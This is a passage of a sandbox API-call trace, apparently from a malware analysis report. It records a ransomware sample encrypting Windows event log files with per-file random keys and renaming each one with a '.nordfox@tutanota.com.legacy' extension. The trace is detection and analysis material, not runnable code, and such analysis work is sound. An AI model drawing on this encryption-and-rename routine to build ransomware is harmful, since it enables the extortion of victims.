lpOverlapped=0x0) returned 1 [0085.261] CloseHandle (hObject=0x460) returned 1 [0085.267] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584880 | out: hHeap=0x520000) returned 1 [0085.267] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0085.267] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0085.269] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55c150 | out: hHeap=0x520000) returned 1 [0085.269] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x583050 | out: hHeap=0x520000) returned 1 [0085.270] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582ba0 | out: hHeap=0x520000) returned 1 [0085.270] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5565d8 [0085.270] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584460 [0085.270] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1c0 [0085.270] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584460 | out: pbBuffer=0x584460) returned 1 [0085.270] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d1c0 | out: pbBuffer=0x54d1c0) returned 1 [0085.270] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-Store%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0085.271] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556918 [0085.271] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x57ef80 [0085.271] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556918 | out: hHeap=0x520000) returned 1 [0085.271] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0085.271] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69632) returned 1 [0085.272] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x585f20 [0085.272] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x596f28 [0085.272] ReadFile (in: hFile=0x460, lpBuffer=0x585f20, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x585f20*, lpNumberOfBytesRead=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0085.288] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0085.288] WriteFile (in: hFile=0x460, lpBuffer=0x596f28*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x596f28*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0085.288] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585f20 | out: hHeap=0x520000) returned 1 [0085.290] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x596f28 | out: hHeap=0x520000) returned 1 [0085.292] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11000 [0085.292] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0085.292] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584460*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584460*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0085.294] WriteFile (in: hFile=0x460, lpBuffer=0x584460*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584460*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0085.294] WriteFile (in: hFile=0x460, lpBuffer=0x54d1c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d1c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0085.294] CloseHandle (hObject=0x460) returned 1 [0085.305] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584460 | out: hHeap=0x520000) returned 1 [0085.305] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1c0 | out: hHeap=0x520000) returned 1 [0085.305] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-Store%4Operational.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0085.310] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57ef80 | out: hHeap=0x520000) returned 1 [0085.310] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5565d8 | out: hHeap=0x520000) returned 1 [0085.310] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5566a8 | out: hHeap=0x520000) returned 1 [0085.310] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x582d08 [0085.310] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584ca0 [0085.310] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0d0 [0085.310] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584ca0 | out: pbBuffer=0x584ca0) returned 1 [0085.310] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0d0 | out: pbBuffer=0x54d0d0) returned 1 [0085.310] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx", dwFileAttributes=0x80) returned 1 [0085.496] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x582ba0 [0085.496] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x57ead0 [0085.496] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582ba0 | out: hHeap=0x520000) returned 1 [0085.496] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0085.496] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69632) returned 1 [0085.496] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x585f20 [0085.496] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x596f28 [0085.496] ReadFile (in: hFile=0x460, lpBuffer=0x585f20, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x585f20*, lpNumberOfBytesRead=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0085.549] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0085.549] WriteFile (in: hFile=0x460, lpBuffer=0x596f28*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x596f28*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0085.549] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585f20 | out: hHeap=0x520000) returned 1 [0085.551] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x596f28 | out: hHeap=0x520000) returned 1 [0085.553] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11000 [0085.553] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0085.553] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584ca0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584ca0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0085.555] WriteFile (in: hFile=0x460, lpBuffer=0x584ca0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584ca0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0085.555] WriteFile (in: hFile=0x460, lpBuffer=0x54d0d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d0d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0085.555] CloseHandle (hObject=0x460) returned 1 [0085.560] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584ca0 | out: hHeap=0x520000) returned 1 [0085.560] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0d0 | out: hHeap=0x520000) returned 1 [0085.560] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0085.564] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57ead0 | out: hHeap=0x520000) returned 1 [0085.564] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582d08 | out: hHeap=0x520000) returned 1 [0085.564] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582768 | out: hHeap=0x520000) returned 1 [0085.567] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x582600 [0085.568] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584250 [0085.568] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1c0 [0085.568] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584250 | out: pbBuffer=0x584250) returned 1 [0085.568] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d1c0 | out: pbBuffer=0x54d1c0) returned 1 [0085.568] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0085.614] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x582510 [0085.614] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x57e620 [0085.614] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582510 | out: hHeap=0x520000) returned 1 [0085.614] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0085.615] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69632) returned 1 [0085.615] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x585f20 [0085.615] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x596f28 [0085.615] ReadFile (in: hFile=0x460, lpBuffer=0x585f20, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x585f20*, lpNumberOfBytesRead=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0085.654] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0085.655] WriteFile (in: hFile=0x460, lpBuffer=0x596f28*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x596f28*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0085.655] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585f20 | out: hHeap=0x520000) returned 1 [0085.656] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x596f28 | out: hHeap=0x520000) returned 1 [0085.658] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11000 [0085.659] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0085.659] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584250*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584250*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0085.660] WriteFile (in: hFile=0x460, lpBuffer=0x584250*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584250*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0085.661] WriteFile (in: hFile=0x460, lpBuffer=0x54d1c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d1c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0085.661] CloseHandle (hObject=0x460) returned 1 [0085.680] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584250 | out: hHeap=0x520000) returned 1 [0085.680] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1c0 | out: hHeap=0x520000) returned 1 [0085.680] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0085.683] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57e620 | out: hHeap=0x520000) returned 1 [0085.683] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582600 | out: hHeap=0x520000) returned 1 [0085.683] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5830c8 | out: hHeap=0x520000) returned 1 [0085.683] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x582a38 [0085.683] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584da8 [0085.683] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0085.683] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584da8 | out: pbBuffer=0x584da8) returned 1 [0085.683] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d240 | out: pbBuffer=0x54d240) returned 1 [0085.683] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx", dwFileAttributes=0x80) returned 1 [0085.684] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x582768 [0085.684] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x57e3c8 [0085.684] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582768 | out: hHeap=0x520000) returned 1 [0085.684] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0085.684] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69632) returned 1 [0085.684] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x585f20 [0085.685] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x596f28 [0085.685] ReadFile (in: hFile=0x460, lpBuffer=0x585f20, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x585f20*, lpNumberOfBytesRead=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0085.711] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0085.712] WriteFile (in: hFile=0x460, lpBuffer=0x596f28*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x596f28*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0085.712] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585f20 | out: hHeap=0x520000) returned 1 [0085.713] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x596f28 | out: hHeap=0x520000) returned 1 [0085.715] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11000 [0085.715] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0085.715] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584da8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584da8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0085.717] WriteFile (in: hFile=0x460, lpBuffer=0x584da8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584da8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0085.717] WriteFile (in: hFile=0x460, lpBuffer=0x54d240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d240*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0085.717] CloseHandle (hObject=0x460) returned 1 [0085.721] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584da8 | out: hHeap=0x520000) returned 1 [0085.721] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0085.721] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0085.728] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57e3c8 | out: hHeap=0x520000) returned 1 [0085.728] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582a38 | out: hHeap=0x520000) returned 1 [0085.728] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582f60 | out: hHeap=0x520000) returned 1 [0085.728] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556778 [0085.728] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584040 [0085.728] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0d0 [0085.728] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584040 | out: pbBuffer=0x584040) returned 1 [0085.728] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0d0 | out: pbBuffer=0x54d0d0) returned 1 [0085.728] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx", dwFileAttributes=0x80) returned 1 [0085.729] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556cc0 [0085.729] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5821f8 [0085.729] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556cc0 | out: hHeap=0x520000) returned 1 [0085.729] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0085.729] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69632) returned 1 [0085.729] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x585f20 [0085.730] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x596f28 [0085.730] ReadFile (in: hFile=0x460, lpBuffer=0x585f20, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x585f20*, lpNumberOfBytesRead=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0085.739] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0085.739] WriteFile (in: hFile=0x460, lpBuffer=0x596f28*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x596f28*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0085.739] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585f20 | out: hHeap=0x520000) returned 1 [0085.739] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x596f28 | out: hHeap=0x520000) returned 1 [0085.741] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11000 [0085.741] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0085.741] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584040*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584040*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0085.742] WriteFile (in: hFile=0x460, lpBuffer=0x584040*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584040*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0085.743] WriteFile (in: hFile=0x460, lpBuffer=0x54d0d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d0d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0085.743] CloseHandle (hObject=0x460) returned 1 [0085.753] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584040 | out: hHeap=0x520000) returned 1 [0085.753] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0d0 | out: hHeap=0x520000) returned 1 [0085.753] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0085.755] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5821f8 | out: hHeap=0x520000) returned 1 [0085.755] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556778 | out: hHeap=0x520000) returned 1 [0085.755] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556a50 | out: hHeap=0x520000) returned 1 [0085.755] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x582768 [0085.755] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584148 [0085.755] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0085.755] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584148 | out: pbBuffer=0x584148) returned 1 [0085.755] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d240 | out: pbBuffer=0x54d240) returned 1 [0085.755] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx", dwFileAttributes=0x80) returned 1 [0085.756] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x582c90 [0085.756] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x57e238 [0085.756] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582c90 | out: hHeap=0x520000) returned 1 [0085.756] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0085.756] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69632) returned 1 [0085.756] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x585f20 [0085.756] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x596f28 [0085.756] ReadFile (in: hFile=0x460, lpBuffer=0x585f20, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e1f9bc, 